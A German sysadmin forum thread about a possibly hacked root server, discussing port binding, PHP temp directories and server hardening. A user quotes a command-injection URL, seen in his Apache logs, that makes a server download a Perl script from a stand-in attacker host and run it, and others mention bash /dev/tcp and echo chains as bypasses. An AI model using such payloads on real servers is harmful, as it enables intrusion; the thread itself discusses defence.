Rootserver geknackt?

Rund um die Sicherheit des Systems und die Applikationen
darkman
Posts: 104
Joined: 2004-03-24 14:09
 

Re: Rootserver geknackt?

Post by darkman »

andreask2 wrote:Um sein Script an Port 80 zu bekommen braucht er allerdings Root-Rechte - wenn man die schon hat - was will man mehr?
Naja, ganz ists nicht richtig, es geht das ein Script
was vom Apachen gestartet wird den Port 80 "kapert" wenn er restartet.
Restarten "sollte" er eigentlich nicht, tut er aber wenn er logroatate
macht, oder man Confixx etc. verwendet... also direkt Rootrechte
sind nicht noetig (allerdings hab ich bisher erst ein Script gesehen
das das erfolgreich geschafft hat, die meisten "versterben" beim
Versuch.

Gruesse,
Darkman
aubergine
Posts: 471
Joined: 2005-09-10 17:52
Location: Frankfurt am Main
 

Re: Rootserver geknackt?

Post by aubergine »

garnicht erst gross um irgendwelche Konzepte, das ist einfach
Wildwuchs, da wird mal hier schnell ne HP abgelegt etc. und kurz
drauf is die Kiste halt gehackt... gut, who cares, Traffic kost
ja nix und reinstall geht auch per Knopfdruck, nichtwahr?

So long,
Darkman

Falls du dieses Geschwafel auf mich beziehst:

Ja ich hab seit ca. 1 Jahr diverse Rootserver und keiner wurde bisher gehackt, toytoy das das so bleibt.
Das du hier irgendwelche Dinge verallgemeinerst zeigt deine semiprofessionalität, den es gibt sowohl schlechte Allgemeine Server Betreiber als auch schlechte GS Betreiber, aber das alles war nicht Thema meines Posts... sondern lediglich die feststellung der Tatsache das es jeden ziemlich schnell erwischen kann, egal wie sicher man sich fühlt.
Deswegen ist Arroganz was dieses Thema angeht wohl völlig fehl am Platz
darkman
Posts: 104
Joined: 2004-03-24 14:09
 

Re: Rootserver geknackt?

Post by darkman »

aubergine wrote:Falls du dieses Geschwafel auf mich beziehst:
Nein, war nicht auf Dich bezogen, ich hab lediglich drauf geantwortet
das es sehr wohl auch "uns" Admins passieren kann.
aubergine wrote:Das du hier irgendwelche Dinge verallgemeinerst zeigt deine semiprofessionalität, den es gibt sowohl schlechte Allgemeine Server Betreiber als auch schlechte GS Betreiber, aber das alles war nicht Thema meines Posts...
Ich verallgemeiner nicht, ich hab lediglich Erfahrungswerte mit einem
bestimmten Typ "Serverbetreiber" aufgezeigt. Semiprofessionalitaet
muss *ich* mir glaub nicht unterstellen lassen.
aubergine wrote:sondern lediglich die feststellung der Tatsache das es jeden ziemlich schnell erwischen kann, egal wie sicher man sich fühlt.
Deswegen ist Arroganz was dieses Thema angeht wohl völlig fehl am Platz
Klar kann es jeden erwischen, aber bitte bleib auch mal bei den
Fakten, es erwischt jeden, aber wie oft erwischt es "Profis" und
wie oft erwischt es "HowTo-Leser"...? Arroganz ist was anderes,
glaub mir ;)

So long,
Darkman
aubergine
Posts: 471
Joined: 2005-09-10 17:52
Location: Frankfurt am Main
 

Re: Rootserver geknackt?

Post by aubergine »

Darkman wrote: Klar kann es jeden erwischen, aber bitte bleib auch mal bei den
Fakten, es erwischt jeden, aber wie oft erwischt es "Profis" und
wie oft erwischt es "HowTo-Leser"...? Arroganz ist was anderes,
glaub mir ;)

So long,
Darkman
Die Defintion von Arroganz ist mir völlig bewusst.
Das ganze soll jetzt hier auch nit ausarten ich denke wir haben beide besseres zu tun.

Zum Punkt HowTo Leser oder Profi's denke ich nicht das es irgendwelche Statistiken gibt die man um Rat fragen könnte, da die meisten "Profis" sowas sowieso nicht veröffentlichen...
andreask2
Posts: 696
Joined: 2004-01-27 14:16
Location: Aachen
 

Re: Rootserver geknackt?

Post by andreask2 »

Darkman wrote:
andreask2 wrote:Um sein Script an Port 80 zu bekommen braucht er allerdings Root-Rechte - wenn man die schon hat - was will man mehr?
Naja, ganz ists nicht richtig, es geht das ein Script was vom Apachen gestartet wird den Port 80 "kapert" wenn er restartet.
[...]
Verstehe ich nicht. Um sich an Ports <1024 zu binden, braucht man Root-Rechte. Die Apache-Prozesse, die man verwenden könnte um irgendwelche Scripte zu installieren... laufen in der Regel nicht mit Root-Rechten (Ausnahme vielleicht für so Sachen wie confixx - aber selbst hier braucht man AFAIK das entsprechende Passwort, wenn die installierte Version nicht sehr "kaputt" ist). Wenn man den Root-Prozess des Apachen irgendwie austricksen könnte, dass er anstatt sich selbst ein Script (welches der Apache-User überschreiben kann) an Port 80 bindet - würde ich das einfach mal als Sicherheitslücke in der Konfiguration bezeichnen. Abgesehen davon, dass ich keine Ahnung habe wie das funktionieren könnte, sollte man doch meinen, dass alles was der Apache an Port 80 binden kann, nur mit Root-Rechten verändert werden kann, selbiges gilt für die Konfiguration, die hierdrauf Einfluss nehmen könnte.

Hm, bitte kläre mich auf wenn ich hier falsch liege!
lord_pinhead
Posts: 774
Joined: 2004-04-26 15:57
 

Re: Rootserver geknackt?

Post by lord_pinhead »

@Darkman und CC
Dumm wie ich bin überlese ich das natürlich. Thx für den Tip, werd mich nochmal hinsetzen und das ganze etwas überarbeiten und die Manpage nochmal durchlesen ob ich noch was übersehen hab, hatte eigentlich einige einstellungen zum connection tracking schon mit drin, aber da drauf bin ich jetzt nicht gekommen :oops:
Darkman wrote: Und, was machst Du mit /var/tmp (ist nicht immer ein Link auf /tmp)
oder mit anderen Verzeichnissen die World-Writeable sind/sein muessenn
(z.B. dedizierte TMP Dirs fuer VHosts damit irgendwelcher PHP Rotz
gescheit tut)? ;-)
/var/tmp ist für den Apache nicht erreichbar und die Session und tmp Verzeichnisse für PHP wird kaum einer finden, ausser er weiß das es .phptmp-<userid> heißt :) Allerdings versuchen die meisten "Cracker" ja sowisso /tmp, von daher kann man schonmal die Kidds sofort aussperren.

@andreask2
Nei mir hat das binden einfach geklappt als User. Das killen der Prozesse wird allerdings nur durch eine dementsprechendes Exploit klappen, lief doch nicht ganz so wie ich zuerst dachte. Hab das bisher nur einmal bei einen Freund aufn Server gesehen, aber das nachmachen will bei mir nicht wirklich jetzt klappen. Werd das aber trotzdem nochmal versuchen, nur atm hab ich keine Kiste wo ich einfach nen Exploit mit drauf starten kann. Denk das man da gleich eine Rootshell mit startet und gar nicht lange mit www-data rumhampelt.

Mit Port 80 ausgehend sperren: Klar kann ich alles ausser meine Debian Mirrors sperren, aber wenn ich jetzt mal eine Software direkt ziehen möchte per wget, dann muss ich immer zuerst die Firewallregeln abändern usw. Ich sag eher das es keiner schafft mit PHP XSS etwas zu ziehen, wget ist sowisso nur noch für root ausführbar, curl und lynx sind nicht mehr auf dem Server. ftp gibt es nicht mehr, nur noch ftp-ssl mit 744 und da wird jetzt kaum noch eine möglichkeit sein etwas zu machen.
="Roger Wilco"]
Du verwechselst da etwas. XSS (Cross-Site Scripting) ist rein clientseitig. Um ein Skript auf dem Server zu starten (das nicht in einem per HTTP erreichbaren Verzeichnis liegt), brauchst du zunächst mal Zugang zum Server. Wir unterstellen mal, dass deine Dienste nicht verwundbar sind. Dann kann das Schadprogramm nur noch von einem lokalen Benutzer mit Login-Shell ausgeführt werden. Und wenn du deinen Benutzern nicht trauen kannst, hast du ein ganz anderes Problem. Rolling Eyes
Mittels XSS landen aber die Angriffsscripte auf dem Zielrechner und werden aufgerufen. Beispiel:

Code: Select all

http://hans-wurst.de/index.php?var=wget%20http://boeserhacker.de/angriff.pl%20-o%20/tmp/angriff.pl&&perl%20/tmp/angriff.pl
zieht mir von extern eine Perlfile runter und startet sie. Recht simpel, aber wenn du in deine Apache Logs kuckst findest du lauter solche aufrufe, jedenfalls bei mir. Wenn deine Software jetzt dafür angreifbar ist, hast du nen kleines Problem. Wenn die Software nicht angreifbar ist, dann bleibt ja wie du schon gesagt hast nur noch ein Benutzer mit nen FTP Login in Frage, daher auch Never trust your Users. Hätte letztens erst ein Problem gehabt weil jemand gedacht hat PHPBB2 braucht man nicht updaten, jetzt hat er ne leere Datenbank aber es ist sonst nix passiert dank Safemode etc. Aber ehrlichgesagt kann mir das egal sein, bin ja nicht der Babysitter und mach deren Software Update.
User avatar
Joe User
Project Manager
Project Manager
Posts: 11191
Joined: 2003-02-27 01:00
Location: Hamburg
Contact:
 

Re: Rootserver geknackt?

Post by Joe User »

Lord_Pinhead wrote:Ich sag eher das es keiner schafft mit PHP XSS etwas zu ziehen, wget ist sowisso nur noch für root ausführbar, curl und lynx sind nicht mehr auf dem Server. ftp gibt es nicht mehr, nur noch ftp-ssl mit 744 und da wird jetzt kaum noch eine möglichkeit sein etwas zu machen.
http://www.rootforum.org/forum/viewtopi ... 518#163518 ;)
PayPal.Me/JoeUserFreeBSD Remote Installation
Wings for LifeWings for Life World Run

„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.
mausgreck
Posts: 84
Joined: 2005-03-19 17:22
 

Re: Rootserver geknackt?

Post by mausgreck »

bash deinstallieren? :P

Aber ehrlich, wenn man schon schreiben kann, dann würde doch eine Reihe von "echo >>" reichen. Müsste trivial zu realisieren sein, und da hilft kein port 80 sperren, wget deinstallieren, etc...
Roger Wilco
Posts: 5923
Joined: 2004-05-23 12:53
 

Re: Rootserver geknackt?

Post by Roger Wilco »

Lord_Pinhead wrote:und die Session und tmp Verzeichnisse für PHP wird kaum einer finden, ausser er weiß das es .phptmp-<userid> heißt :)
SbO?
Lord_Pinhead wrote:Nei mir hat das binden einfach geklappt als User.
Meiner Meinung nach sehr seltsam. Die Ports <1024 lassen sich, wie ja bereits erwähnt, eigentlich nur von dem Benutzer root binden. Sicher, dass du nicht der Superuser warst?
Lord_Pinhead wrote:Mittels XSS landen aber die Angriffsscripte auf dem Zielrechner und werden aufgerufen. Beispiel:

Code: Select all

http://hans-wurst.de/index.php?var=wget%20http://boeserhacker.de/angriff.pl%20-o%20/tmp/angriff.pl&&perl%20/tmp/angriff.pl
zieht mir von extern eine Perlfile runter und startet sie.
Das ist aber kein XSS (wo ist denn da bitte das XS dabei? ;)), sondern eine Code Injection (oder vielleicht präziser eine "Command" Injection).
oxygen
Posts: 2138
Joined: 2002-12-15 00:10
Location: Bergheim
 

Re: Rootserver geknackt?

Post by oxygen »

mausgreck wrote:
bash deinstallieren? :P

Aber ehrlich, wenn man schon schreiben kann, dann würde doch eine Reihe von "echo >>" reichen. Müsste trivial zu realisieren sein, und da hilft kein port 80 sperren, wget deinstallieren, etc...
Nunja, ich weiß nicht wie man den Kernel kompilieren muss damit man ein Verzeichnis /dev/tcp hat, aber es kann nicht wichtig sein, auf keinem meiner Rechner/Server ist /dev/tcp vorhanden. Mit dem echo >> ist nicht so einfach, da die URL Längen begrenzt ist, dazu kommen noch Zeichensatzprobleme etc. wget/curl/ftp zu deinstallieren oder ausserhalb des PATHs zu platzieren oder auf 700 zu setzten ist schon sinnvoll, da man sich selbst kaum damit einschränkt.
mausgreck
Posts: 84
Joined: 2005-03-19 17:22
 

Re: Rootserver geknackt?

Post by mausgreck »

øxygen wrote:Nunja, ich weiß nicht wie man den Kernel kompilieren muss damit man ein Verzeichnis /dev/tcp hat, aber es kann nicht wichtig sein, auf keinem meiner Rechner/Server ist /dev/tcp vorhanden.
AFAIK ist das ein bash feature...
Mit dem echo >> ist nicht so einfach, da die URL Längen begrenzt ist, dazu kommen noch Zeichensatzprobleme etc.
Nicht wirklich, in urls kann man ja schön quoten und sowas würde man per Skript machen...
lord_pinhead
Posts: 774
Joined: 2004-04-26 15:57
 

Re: Rootserver geknackt?

Post by lord_pinhead »

@Roger Wilco
Ok, erwischt. Hab da ganz dicke was verwechselt :oops: Hast natürlich recht das XSS Code Injection ist und damit Clientseitig ist. Mittels Command Injection muss man das Angriffsscript ablegen, so muss es heißen. Ok, jetzt darfste mir schlagen :D

Das ich einen Port <1024 binden kann ist zwar komisch, is aber so. Jedenfalls auf einer Otto-normal Ubuntu Workstation. Und ich war wirklich kein Superuser, der is bisher deaktiviert und ich regel alles über sudo. Aber da ich es einfach nicht schaffe als normaler User den Dienst zu beenden und kapern, denk ich langsam das auf dem Nightwatch Server von mein Freund doch noch ein zusätzliches Exploit verwendet wurde damit das Script einfach nur diesen Startet und das Programm den Apachen ersetzt. Bei der unordnung was da herrschte und den massen an Binarys die dort lagen, würde so ein kleines Programm fast gar nicht auffallen. Einerseits doch gut das man nicht so einfach den Dienst beenden kann, nichtmal den Named konnte ich killen, andererseits aber doch noch recht eigenartig das ich nen Port so binden konnte durch ein kurzes Script.

@Joe User
Hm, ok, ich deinstallier die Bash und installier zsh ;) Oder noch besser, ich lasse kein Apache laufen, die Dienste leg ich auf verschiedene Highports ab 60000 und lasse das ganze natürlich durch eine Bridge auf Hogwash Basis überwachen :D

Btw.: Kenn jemand Hogwash? Hab das noch nicht getestet, vielleicht hat einer schon erfahrung.
Post Reply